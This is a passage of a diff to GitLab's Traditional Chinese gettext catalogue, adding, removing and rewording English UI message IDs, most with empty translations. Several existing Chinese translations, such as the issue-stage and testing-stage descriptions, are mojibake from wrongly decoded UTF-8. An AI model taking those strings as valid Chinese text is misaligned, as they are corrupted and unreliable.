-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23301,6 +23821,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -23877,9 +24409,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "設置密碼"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24303,6 +24835,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24399,9 +24934,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr "顯示所有活動"
@@ -24456,13 +24988,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] "顯示 %d 個事件"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,10 +25122,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24749,9 +25293,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24797,7 +25338,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -24878,10 +25419,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25163,10 +25707,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25190,6 +25734,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr "在 Runner 設置時指定以下 URL:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25307,9 +25854,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25637,6 +26193,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25646,6 +26205,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -25868,6 +26433,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26078,6 +26643,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26274,9 +26878,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,10 +26887,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26358,9 +26959,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr "派生關係已被刪除。"
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "議題階段概述了從創建議題到將議題添加到è£ç¨‹ç¢‘或議題看æ¿æ‰€èŠ±è²»çš„時間。創建第壹個議題後,數據將自動添加到此處.。"
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr "é ç™¼å¸ƒéšŽæ®µæ¦‚述了åˆä½µè«‹æ±‚çš„åˆä½µåˆ°éƒ¨ç½²ä»£ç¢¼åˆ°ç”Ÿç”¢ç’°
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "測試階段概述了 GitLab CI 為相關åˆä½µè«‹æ±‚é‹è¡Œæ¯å€‹æµæ°´ç·šæ‰€éœ€çš„時間。當第壹個æµæ°´ç·šé‹è¡Œå®Œæˆå¾Œï¼Œæ•¸æ“šå°‡è‡ªå‹•æ·»åŠ åˆ°æ­¤è™•ã€‚"
@@ -26614,7 +27227,7 @@ msgstr "該階段æ¯æ¢æ•¸æ“šæ‰€èŠ±çš„時間"
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26626,9 +27239,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26644,6 +27254,9 @@ msgstr "中ä½æ•¸æ˜¯å£¹å€‹æ•¸åˆ—中最中間的值。例如在 3ã€5ã€9 之間ï
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27058,9 +27671,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "å°æ™‚"
@@ -27753,6 +28369,9 @@ msgstr "秒"
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,7 +29020,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28467,10 +29092,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28665,9 +29290,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28686,6 +29308,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "上傳文件"
@@ -28722,6 +29347,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -28959,6 +29590,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "活動"
@@ -29061,6 +29701,9 @@ msgstr "個人專案"
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "程å¼ç¢¼ç‰‡æ®µ"
@@ -29091,6 +29734,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29127,6 +29773,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29169,15 +29818,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29381,6 +30033,9 @@ msgstr "查看專案標籤"
msgid "View replaced file @ "
msgstr "檢視已å–代檔案 @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29582,6 +30234,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29630,10 +30288,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,7 +30631,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30114,6 +30793,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30195,9 +30877,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr "昨天"
@@ -30207,6 +30886,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30411,6 +31096,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30453,6 +31141,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr "åªæŽ¥æ”¶è©•è«–中æåŠ(@)您的通知"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "在賬號上 %{set_password_link} 之å‰å°‡ç„¡æ³•é€šéŽ %{protocol} 拉å–或推é€ä»£ç¢¼ã€‚"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30717,6 +31405,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -30894,6 +31591,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31129,13 +31841,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
